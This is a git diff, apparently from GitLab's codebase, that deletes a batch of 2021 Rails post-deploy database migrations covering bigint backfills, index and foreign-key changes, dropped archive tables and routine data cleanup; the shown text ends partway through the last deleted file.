diff --git a/db/post_migrate/20210311120156_backfill_push_event_payload_event_id_for_bigint_conversion.rb b/db/post_migrate/20210311120156_backfill_push_event_payload_event_id_for_bigint_conversion.rb
deleted file mode 100644
index b64282fe0d3..00000000000
--- a/db/post_migrate/20210311120156_backfill_push_event_payload_event_id_for_bigint_conversion.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillPushEventPayloadEventIdForBigintConversion < ActiveRecord::Migration[6.0]
- disable_ddl_transaction!
-
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- return unless should_run?
-
- backfill_conversion_of_integer_to_bigint :push_event_payloads, :event_id, primary_key: :event_id,
- batch_size: 15000, sub_batch_size: 100
- end
-
- def down
- return unless should_run?
-
- Gitlab::Database::BackgroundMigration::BatchedMigration
- .where(job_class_name: 'CopyColumnUsingBackgroundMigrationJob')
- .where(table_name: 'push_event_payloads', column_name: 'event_id')
- .where(job_arguments: Gitlab::Json.dump(%w[event_id event_id_convert_to_bigint]))
- .delete_all
- end
-
- private
-
- def should_run?
- Gitlab.dev_or_test_env? || Gitlab.com?
- end
-end
diff --git a/db/post_migrate/20210317104032_set_iteration_cadence_automatic_to_false.rb b/db/post_migrate/20210317104032_set_iteration_cadence_automatic_to_false.rb
deleted file mode 100644
index c151551ae64..00000000000
--- a/db/post_migrate/20210317104032_set_iteration_cadence_automatic_to_false.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class SetIterationCadenceAutomaticToFalse < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def up
- ActiveRecord::Base.connection.execute <<~SQL
- UPDATE iterations_cadences
- SET automatic = FALSE
- WHERE iterations_cadences.automatic = TRUE
- SQL
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210317155207_validate_not_null_constraint_on_cluster_token_name.rb b/db/post_migrate/20210317155207_validate_not_null_constraint_on_cluster_token_name.rb
deleted file mode 100644
index b77523c3a44..00000000000
--- a/db/post_migrate/20210317155207_validate_not_null_constraint_on_cluster_token_name.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class ValidateNotNullConstraintOnClusterTokenName < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- validate_not_null_constraint :cluster_agent_tokens, :name
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210322115438_validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.rb b/db/post_migrate/20210322115438_validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.rb
deleted file mode 100644
index 96d9f383406..00000000000
--- a/db/post_migrate/20210322115438_validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class ValidateNotNullConstraintOnGitlabSubscriptionsNamespaceId < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- validate_not_null_constraint :gitlab_subscriptions, :namespace_id
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210326121537_backfill_cleanup_for_partitioned_web_hook_logs.rb b/db/post_migrate/20210326121537_backfill_cleanup_for_partitioned_web_hook_logs.rb
deleted file mode 100644
index 5816d02561e..00000000000
--- a/db/post_migrate/20210326121537_backfill_cleanup_for_partitioned_web_hook_logs.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillCleanupForPartitionedWebHookLogs < ActiveRecord::Migration[6.0]
- include Gitlab::Database::PartitioningMigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- finalize_backfilling_partitioned_table :web_hook_logs
- end
-
- def down
- # no op
- end
-end
diff --git a/db/post_migrate/20210328214434_remove_temporary_index_from_vulnerabilities_table.rb b/db/post_migrate/20210328214434_remove_temporary_index_from_vulnerabilities_table.rb
deleted file mode 100644
index f3da1cc69c4..00000000000
--- a/db/post_migrate/20210328214434_remove_temporary_index_from_vulnerabilities_table.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveTemporaryIndexFromVulnerabilitiesTable < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_NAME = 'temporary_index_vulnerabilities_on_id'
-
- disable_ddl_transaction!
-
- def up
- remove_concurrent_index_by_name :vulnerabilities, INDEX_NAME
- end
-
- def down
- add_concurrent_index :vulnerabilities, :id, where: "state = 2 AND (dismissed_at IS NULL OR dismissed_by_id IS NULL)", name: INDEX_NAME
- end
-end
diff --git a/db/post_migrate/20210329102724_add_new_trail_plans.rb b/db/post_migrate/20210329102724_add_new_trail_plans.rb
deleted file mode 100644
index 37c64bbd42d..00000000000
--- a/db/post_migrate/20210329102724_add_new_trail_plans.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-# frozen_string_literal: true
-
-class AddNewTrailPlans < ActiveRecord::Migration[6.0]
- class Plan < ActiveRecord::Base
- self.inheritance_column = :_type_disabled
-
- has_one :limits, class_name: 'PlanLimits'
-
- def actual_limits
- self.limits || self.build_limits
- end
- end
-
- class PlanLimits < ActiveRecord::Base
- self.inheritance_column = :_type_disabled
-
- belongs_to :plan
- end
-
- def create_plan_limits(plan_limit_name, plan)
- plan_limit = Plan.find_or_initialize_by(name: plan_limit_name).actual_limits.dup
- plan_limit.plan = plan
- plan_limit.save!
- end
-
- def up
- return unless Gitlab.com?
-
- ultimate_trial = Plan.create!(name: 'ultimate_trial', title: 'Ultimate Trial')
- premium_trial = Plan.create!(name: 'premium_trial', title: 'Premium Trial')
-
- create_plan_limits('gold', ultimate_trial)
- create_plan_limits('silver', premium_trial)
- end
-
- def down
- return unless Gitlab.com?
-
- Plan.where(name: %w(ultimate_trial premium_trial)).delete_all
- end
-end
diff --git a/db/post_migrate/20210330091751_remove_records_without_group_from_webhooks_table.rb b/db/post_migrate/20210330091751_remove_records_without_group_from_webhooks_table.rb
deleted file mode 100644
index c384aa25ac4..00000000000
--- a/db/post_migrate/20210330091751_remove_records_without_group_from_webhooks_table.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveRecordsWithoutGroupFromWebhooksTable < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- class WebHook < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'web_hooks'
- end
-
- class Group < ActiveRecord::Base
- self.inheritance_column = :_type_disabled
- self.table_name = 'namespaces'
- end
-
- def up
- subquery = Group.select(1).where(Group.arel_table[:id].eq(WebHook.arel_table[:group_id]))
-
- WebHook.each_batch(of: 500, column: :id) do |relation|
- relation.where(type: 'GroupHook').where.not('EXISTS (?)', subquery).delete_all
- end
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210330130420_drop_finding_fingerprint_table.rb b/db/post_migrate/20210330130420_drop_finding_fingerprint_table.rb
deleted file mode 100644
index fd77d4d7a4b..00000000000
--- a/db/post_migrate/20210330130420_drop_finding_fingerprint_table.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-# frozen_string_literal: true
-
-class DropFindingFingerprintTable < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- FINGERPRINT_IDX = :idx_vuln_fingerprints_on_occurrences_id_and_fingerprint_sha256
- UNIQ_IDX = :idx_vuln_fingerprints_uniqueness_fingerprint_sha256
-
- def up
- with_lock_retries do
- drop_table :vulnerability_finding_fingerprints
- end
- end
-
- def down
- with_lock_retries do
- create_table :vulnerability_finding_fingerprints do |t|
- t.references :finding,
- index: true,
- null: false,
- foreign_key: { to_table: :vulnerability_occurrences, column: :finding_id, on_delete: :cascade }
-
- t.timestamps_with_timezone null: false
-
- t.integer :algorithm_type, null: false, limit: 2
- t.binary :fingerprint_sha256, null: false
-
- t.index %i[finding_id fingerprint_sha256],
- name: FINGERPRINT_IDX,
- unique: true # only one link should exist between occurrence and the fingerprint
-
- t.index %i[finding_id algorithm_type fingerprint_sha256],
- name: UNIQ_IDX,
- unique: true # these should be unique
- end
- end
- end
-end
diff --git a/db/post_migrate/20210331105335_drop_non_partitioned_audit_events.rb b/db/post_migrate/20210331105335_drop_non_partitioned_audit_events.rb
deleted file mode 100644
index 7c32fc61711..00000000000
--- a/db/post_migrate/20210331105335_drop_non_partitioned_audit_events.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-# frozen_string_literal: true
-
-class DropNonPartitionedAuditEvents < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
- include Gitlab::Database::PartitioningMigrationHelpers::TableManagementHelpers
-
- DOWNTIME = false
-
- def up
- drop_nonpartitioned_archive_table(:audit_events)
- end
-
- def down
- execute(<<~SQL)
- CREATE TABLE audit_events_archived (
- id integer NOT NULL,
- author_id integer NOT NULL,
- entity_id integer NOT NULL,
- entity_type character varying NOT NULL,
- details text,
- created_at timestamp without time zone,
- ip_address inet,
- author_name text,
- entity_path text,
- target_details text,
- target_type text,
- target_id bigint,
- CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
- CONSTRAINT check_82294106dd CHECK ((char_length(target_type) <= 255)),
- CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
- CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
- );
-
- ALTER TABLE ONLY audit_events_archived ADD CONSTRAINT audit_events_archived_pkey PRIMARY KEY (id);
-
- CREATE INDEX analytics_index_audit_events_on_created_at_and_author_id ON audit_events_archived USING btree (created_at, author_id);
- CREATE INDEX idx_audit_events_on_entity_id_desc_author_id_created_at ON audit_events_archived USING btree (entity_id, entity_type, id DESC, author_id, created_at);
- SQL
-
- with_lock_retries do
- create_trigger_to_sync_tables(:audit_events, :audit_events_archived, 'id')
- end
- end
-end
diff --git a/db/post_migrate/20210401131948_move_container_registry_enabled_to_project_features2.rb b/db/post_migrate/20210401131948_move_container_registry_enabled_to_project_features2.rb
deleted file mode 100644
index ee118371fb8..00000000000
--- a/db/post_migrate/20210401131948_move_container_registry_enabled_to_project_features2.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-class MoveContainerRegistryEnabledToProjectFeatures2 < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- BATCH_SIZE = 21_000
- MIGRATION = 'MoveContainerRegistryEnabledToProjectFeature'
-
- disable_ddl_transaction!
-
- class Project < ActiveRecord::Base
- include EachBatch
- self.table_name = 'projects'
- end
-
- def up
- # Superceded by db/post_migrate/20210415155043_move_container_registry_enabled_to_project_features3.rb.
-
- # delete_queued_jobs('MoveContainerRegistryEnabledToProjectFeature')
-
- # queue_background_migration_jobs_by_range_at_intervals(Project, MIGRATION, 2.minutes, batch_size: BATCH_SIZE, track_jobs: true)
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210402005225_add_source_and_level_index_on_notification_settings.rb b/db/post_migrate/20210402005225_add_source_and_level_index_on_notification_settings.rb
deleted file mode 100644
index a29babca93e..00000000000
--- a/db/post_migrate/20210402005225_add_source_and_level_index_on_notification_settings.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class AddSourceAndLevelIndexOnNotificationSettings < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- INDEX_WITH_SOURCE_LEVEL_USER_NAME = 'index_notification_settings_on_source_and_level_and_user'
- INDEX_WITH_SOURCE_NAME = 'index_notification_settings_on_source_id_and_source_type'
- INDEX_WITH_USER_NAME = 'index_notification_settings_on_user_id'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :notification_settings, [:source_id, :source_type, :level, :user_id], name: INDEX_WITH_SOURCE_LEVEL_USER_NAME
- remove_concurrent_index_by_name :notification_settings, INDEX_WITH_SOURCE_NAME # Above index expands this index
- remove_concurrent_index_by_name :notification_settings, INDEX_WITH_USER_NAME # It is redundant as we already have unique index on (user_id, source_id, source_type)
- end
-
- def down
- add_concurrent_index :notification_settings, [:source_id, :source_type], name: INDEX_WITH_SOURCE_NAME
- add_concurrent_index :notification_settings, [:user_id], name: INDEX_WITH_USER_NAME
- remove_concurrent_index_by_name :notification_settings, INDEX_WITH_SOURCE_LEVEL_USER_NAME
- end
-end
diff --git a/db/post_migrate/20210403022952_remove_notes_delete_cascade_timelogs.rb b/db/post_migrate/20210403022952_remove_notes_delete_cascade_timelogs.rb
deleted file mode 100644
index 832ba584931..00000000000
--- a/db/post_migrate/20210403022952_remove_notes_delete_cascade_timelogs.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveNotesDeleteCascadeTimelogs < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- CONSTRAINT_NAME = 'fk_timelogs_note_id'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :timelogs, :notes, column: :note_id, on_delete: :nullify, name: CONSTRAINT_NAME
-
- with_lock_retries do
- remove_foreign_key_if_exists :timelogs, :notes, column: :note_id, on_delete: :cascade
- end
- end
-
- def down
- add_concurrent_foreign_key :timelogs, :notes, column: :note_id, on_delete: :cascade
-
- with_lock_retries do
- remove_foreign_key_if_exists :timelogs, :notes, column: :note_id, on_delete: :nullify, name: CONSTRAINT_NAME
- end
- end
-end
diff --git a/db/post_migrate/20210406144743_backfill_total_tuple_count_for_batched_migrations.rb b/db/post_migrate/20210406144743_backfill_total_tuple_count_for_batched_migrations.rb
deleted file mode 100644
index 5fc5a5b2b6e..00000000000
--- a/db/post_migrate/20210406144743_backfill_total_tuple_count_for_batched_migrations.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillTotalTupleCountForBatchedMigrations < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
- def up
- return unless should_run?
-
- Gitlab::Database::BackgroundMigration::BatchedMigration.all.each do |migration|
- total_tuple_count = Gitlab::Database::PgClass.for_table(migration.table_name)&.cardinality_estimate
-
- migration.update(total_tuple_count: total_tuple_count)
- end
- end
-
- def down
- return unless should_run?
-
- Gitlab::Database::BackgroundMigration::BatchedMigration.update_all(total_tuple_count: nil)
- end
-
- private
-
- def should_run?
- Gitlab.dev_or_test_env? || Gitlab.com?
- end
-end
diff --git a/db/post_migrate/20210407150240_confirm_support_bot_user.rb b/db/post_migrate/20210407150240_confirm_support_bot_user.rb
deleted file mode 100644
index c26ae153128..00000000000
--- a/db/post_migrate/20210407150240_confirm_support_bot_user.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-class ConfirmSupportBotUser < ActiveRecord::Migration[6.0]
- SUPPORT_BOT_TYPE = 1
-
- def up
- users = Arel::Table.new(:users)
- um = Arel::UpdateManager.new
- um.table(users)
- .where(users[:user_type].eq(SUPPORT_BOT_TYPE))
- .where(users[:confirmed_at].eq(nil))
- .set([[users[:confirmed_at], Arel::Nodes::NamedFunction.new('COALESCE', [users[:created_at], Arel::Nodes::SqlLiteral.new('NOW()')])]])
- connection.execute(um.to_sql)
- end
-
- def down
- # no op
-
- # The up migration allows for the possibility that the support user might
- # have already been manually confirmed. It's not reversible as this data is
- # subsequently lost.
- end
-end
diff --git a/db/post_migrate/20210409185501_index_members_on_user_id_source_id_source_type.rb b/db/post_migrate/20210409185501_index_members_on_user_id_source_id_source_type.rb
deleted file mode 100644
index d20eb5e4ea3..00000000000
--- a/db/post_migrate/20210409185501_index_members_on_user_id_source_id_source_type.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class IndexMembersOnUserIdSourceIdSourceType < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_members_on_user_id_source_id_source_type'
-
- def up
- add_concurrent_index(:members, [:user_id, :source_id, :source_type], name: INDEX_NAME)
- end
-
- def down
- remove_concurrent_index_by_name(:members, INDEX_NAME)
- end
-end
diff --git a/db/post_migrate/20210409185531_remove_members_index_on_user_id.rb b/db/post_migrate/20210409185531_remove_members_index_on_user_id.rb
deleted file mode 100644
index 3f330e44408..00000000000
--- a/db/post_migrate/20210409185531_remove_members_index_on_user_id.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveMembersIndexOnUserId < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_members_on_user_id'
-
- def up
- remove_concurrent_index_by_name(:members, INDEX_NAME)
- end
-
- def down
- add_concurrent_index(:members, :user_id, name: INDEX_NAME)
- end
-end
diff --git a/db/post_migrate/20210413092922_add_index_to_packages_maven_metadata_path.rb b/db/post_migrate/20210413092922_add_index_to_packages_maven_metadata_path.rb
deleted file mode 100644
index 697b9f9cbf7..00000000000
--- a/db/post_migrate/20210413092922_add_index_to_packages_maven_metadata_path.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexToPackagesMavenMetadataPath < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_packages_maven_metadata_on_path'
-
- def up
- add_concurrent_index :packages_maven_metadata, :path, name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index :packages_maven_metadata, :path, name: INDEX_NAME
- end
-end
diff --git a/db/post_migrate/20210413130011_add_partitioned_web_hook_log_fk.rb b/db/post_migrate/20210413130011_add_partitioned_web_hook_log_fk.rb
deleted file mode 100644
index 6453993bd51..00000000000
--- a/db/post_migrate/20210413130011_add_partitioned_web_hook_log_fk.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-class AddPartitionedWebHookLogFk < ActiveRecord::Migration[6.0]
- include Gitlab::Database::PartitioningMigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_partitioned_foreign_key :web_hook_logs_part_0c5294f417,
- :web_hooks,
- column: :web_hook_id,
- on_delete: :cascade
- end
-
- def down
- with_lock_retries do
- remove_foreign_key_if_exists :web_hook_logs_part_0c5294f417, column: :web_hook_id
- end
- end
-end
diff --git a/db/post_migrate/20210413132500_reschedule_artifact_expiry_backfill_again.rb b/db/post_migrate/20210413132500_reschedule_artifact_expiry_backfill_again.rb
deleted file mode 100644
index 0377df7a46b..00000000000
--- a/db/post_migrate/20210413132500_reschedule_artifact_expiry_backfill_again.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-class RescheduleArtifactExpiryBackfillAgain < ActiveRecord::Migration[6.0]
- # This migration has been disabled as it was causing a regression bug for self instances
- # preventing artifact deletion, see https://gitlab.com/gitlab-org/gitlab/-/issues/355955
-
- def up
- # no-op
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210415074645_index_members_on_user_id_access_level_requested_at_is_null.rb b/db/post_migrate/20210415074645_index_members_on_user_id_access_level_requested_at_is_null.rb
deleted file mode 100644
index fb379d48b2a..00000000000
--- a/db/post_migrate/20210415074645_index_members_on_user_id_access_level_requested_at_is_null.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class IndexMembersOnUserIdAccessLevelRequestedAtIsNull < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_members_on_user_id_and_access_level_requested_at_is_null'
-
- def up
- add_concurrent_index(:members, [:user_id, :access_level], where: 'requested_at IS NULL', name: INDEX_NAME)
- end
-
- def down
- remove_concurrent_index_by_name(:members, INDEX_NAME)
- end
-end
diff --git a/db/post_migrate/20210415101228_backfill_ci_build_needs_for_bigint_conversion.rb b/db/post_migrate/20210415101228_backfill_ci_build_needs_for_bigint_conversion.rb
deleted file mode 100644
index 8fcaeb3fb04..00000000000
--- a/db/post_migrate/20210415101228_backfill_ci_build_needs_for_bigint_conversion.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillCiBuildNeedsForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- DOWNTIME = false
-
- def up
- return unless should_run?
-
- backfill_conversion_of_integer_to_bigint :ci_build_needs, :build_id,
- batch_size: 15000, sub_batch_size: 100
- end
-
- def down
- return unless should_run?
-
- Gitlab::Database::BackgroundMigration::BatchedMigration
- .where(job_class_name: 'CopyColumnUsingBackgroundMigrationJob')
- .where(table_name: 'ci_build_needs', column_name: 'build_id')
- .where(job_arguments: Gitlab::Json.dump(%w[build_id build_id_convert_to_bigint]))
- .delete_all
- end
-
- private
-
- def should_run?
- Gitlab.dev_or_test_env? || Gitlab.com?
- end
-end
diff --git a/db/post_migrate/20210415155043_move_container_registry_enabled_to_project_features3.rb b/db/post_migrate/20210415155043_move_container_registry_enabled_to_project_features3.rb
deleted file mode 100644
index f63d7c5138b..00000000000
--- a/db/post_migrate/20210415155043_move_container_registry_enabled_to_project_features3.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-class MoveContainerRegistryEnabledToProjectFeatures3 < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- BATCH_SIZE = 21_000
- MIGRATION = 'MoveContainerRegistryEnabledToProjectFeature'
-
- disable_ddl_transaction!
-
- def up
- # Delete any existing jobs from the queue
- delete_queued_jobs(MIGRATION)
-
- # Delete existing rows in background_migration_jobs table
- bg_migration_job_class = define_model('background_migration_jobs')
- bg_migration_job_class.where(class_name: MIGRATION).delete_all
-
- batchable_project_class = define_batchable_model('projects')
- queue_background_migration_jobs_by_range_at_intervals(batchable_project_class, MIGRATION, 2.minutes, batch_size: BATCH_SIZE, track_jobs: true)
- end
-
- def down
- # no-op
- end
-
- private
-
- def define_model(table_name)
- Class.new(ActiveRecord::Base) do
- self.table_name = table_name
- self.inheritance_column = :_type_disabled
- end
- end
-end
diff --git a/db/post_migrate/20210420103955_remove_hipchat_service_records.rb b/db/post_migrate/20210420103955_remove_hipchat_service_records.rb
deleted file mode 100644
index 5ad34cfad22..00000000000
--- a/db/post_migrate/20210420103955_remove_hipchat_service_records.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveHipchatServiceRecords < ActiveRecord::Migration[6.0]
- disable_ddl_transaction!
-
- class Service < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'services'
- end
-
- def up
- Service.each_batch(of: 100_000, column: :id) do |relation|
- relation.delete_by(type: 'HipchatService')
- end
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210420121149_backfill_conversion_of_ci_job_artifacts.rb b/db/post_migrate/20210420121149_backfill_conversion_of_ci_job_artifacts.rb
deleted file mode 100644
index 0c68834f723..00000000000
--- a/db/post_migrate/20210420121149_backfill_conversion_of_ci_job_artifacts.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillConversionOfCiJobArtifacts < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- return unless should_run?
-
- backfill_conversion_of_integer_to_bigint :ci_job_artifacts, %i(id job_id), batch_size: 15000, sub_batch_size: 100
- end
-
- def down
- return unless should_run?
-
- Gitlab::Database::BackgroundMigration::BatchedMigration
- .where(job_class_name: 'CopyColumnUsingBackgroundMigrationJob')
- .where(table_name: 'ci_job_artifacts', column_name: 'id')
- .where(job_arguments: Gitlab::Json.dump([%w[id job_id], %w[id_convert_to_bigint job_id_convert_to_bigint]]))
- .delete_all
- end
-
- private
-
- def should_run?
- Gitlab.dev_or_test_env? || Gitlab.com?
- end
-end
diff --git a/db/post_migrate/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url.rb b/db/post_migrate/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url.rb
deleted file mode 100644
index 0f6cf970778..00000000000
--- a/db/post_migrate/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleUpdateJiraTrackerDataDeploymentTypeBasedOnUrl < ActiveRecord::Migration[6.0]
- def up
- # no-op (being re-run in 20220324152945_update_jira_tracker_data_deployment_type_based_on_url.rb)
- # due to this migration causing this issue: https://gitlab.com/gitlab-org/gitlab/-/issues/336849
- # The migration is rescheduled in
- # db/post_migrate/20220725150127_update_jira_tracker_data_deployment_type_based_on_url.rb
- # Related discussion: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/82103#note_862401816
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210422023046_backfill_ci_sources_pipelines_source_job_id_for_bigint_conversion.rb b/db/post_migrate/20210422023046_backfill_ci_sources_pipelines_source_job_id_for_bigint_conversion.rb
deleted file mode 100644
index 3c6f2385f1d..00000000000
--- a/db/post_migrate/20210422023046_backfill_ci_sources_pipelines_source_job_id_for_bigint_conversion.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillCiSourcesPipelinesSourceJobIdForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- return unless should_run?
-
- backfill_conversion_of_integer_to_bigint :ci_sources_pipelines, :source_job_id,
- batch_size: 15000, sub_batch_size: 100
- end
-
- def down
- return unless should_run?
-
- Gitlab::Database::BackgroundMigration::BatchedMigration
- .where(job_class_name: 'CopyColumnUsingBackgroundMigrationJob')
- .where(table_name: 'ci_sources_pipelines', column_name: 'id')
- .where(job_arguments: Gitlab::Json.dump([%w[source_job_id], %w[source_job_id_convert_to_bigint]]))
- .delete_all
- end
-
- private
-
- def should_run?
- Gitlab.dev_or_test_env? || Gitlab.com?
- end
-end
diff --git a/db/post_migrate/20210423124223_remove_proxy_settings_to_jira_tracker_data.rb b/db/post_migrate/20210423124223_remove_proxy_settings_to_jira_tracker_data.rb
deleted file mode 100644
index 43ab965d79c..00000000000
--- a/db/post_migrate/20210423124223_remove_proxy_settings_to_jira_tracker_data.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-class RemoveProxySettingsToJiraTrackerData < ActiveRecord::Migration[6.0]
- def change
- remove_column :jira_tracker_data, :encrypted_proxy_address, :text
- remove_column :jira_tracker_data, :encrypted_proxy_address_iv, :text
- remove_column :jira_tracker_data, :encrypted_proxy_port, :text
- remove_column :jira_tracker_data, :encrypted_proxy_port_iv, :text
- remove_column :jira_tracker_data, :encrypted_proxy_username, :text
- remove_column :jira_tracker_data, :encrypted_proxy_username_iv, :text
- remove_column :jira_tracker_data, :encrypted_proxy_password, :text
- remove_column :jira_tracker_data, :encrypted_proxy_password_iv, :text
- end
-end
diff --git a/db/post_migrate/20210423160427_schedule_drop_invalid_vulnerabilities.rb b/db/post_migrate/20210423160427_schedule_drop_invalid_vulnerabilities.rb
deleted file mode 100644
index 8199da937d3..00000000000
--- a/db/post_migrate/20210423160427_schedule_drop_invalid_vulnerabilities.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleDropInvalidVulnerabilities < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- MIGRATION = 'DropInvalidVulnerabilities'
- DELAY_INTERVAL = 2.minutes.to_i
- BATCH_SIZE = 10_000
-
- disable_ddl_transaction!
-
- def up
- say "Scheduling #{MIGRATION} jobs"
- queue_background_migration_jobs_by_range_at_intervals(
- define_batchable_model('vulnerabilities'),
- MIGRATION,
- DELAY_INTERVAL,
- batch_size: BATCH_SIZE
- )
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/post_migrate/20210426094549_backfill_ci_builds_for_bigint_conversion.rb b/db/post_migrate/20210426094549_backfill_ci_builds_for_bigint_conversion.rb
deleted file mode 100644
index fd071ec9a1a..00000000000
--- a/db/post_migrate/20210426094549_backfill_ci_builds_for_bigint_conversion.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillCiBuildsForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- DOWNTIME = false
-
- TABLE = :ci_builds
- COLUMNS = %i(id stage_id).freeze
-
- def up
- return unless should_run?
-
- backfill_conversion_of_integer_to_bigint TABLE, COLUMNS, batch_size: 15000, sub_batch_size: 100
- end
-
- def down
- return unless should_run?
-
- revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
- end
-
- private
-
- def should_run?
- Gitlab.dev_or_test_env? || Gitlab.com?
- end
-end
diff --git a/db/post_migrate/20210426225417_schedule_recalculate_uuid_on_vulnerabilities_occurrences2.rb b/db/post_migrate/20210426225417_schedule_recalculate_uuid_on_vulnerabilities_occurrences2.rb
deleted file mode 100644
index 0e85fb40a36..00000000000
--- a/db/post_migrate/20210426225417_schedule_recalculate_uuid_on_vulnerabilities_occurrences2.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleRecalculateUuidOnVulnerabilitiesOccurrences2 < ActiveRecord::Migration[6.0]
- def up
- # no-op
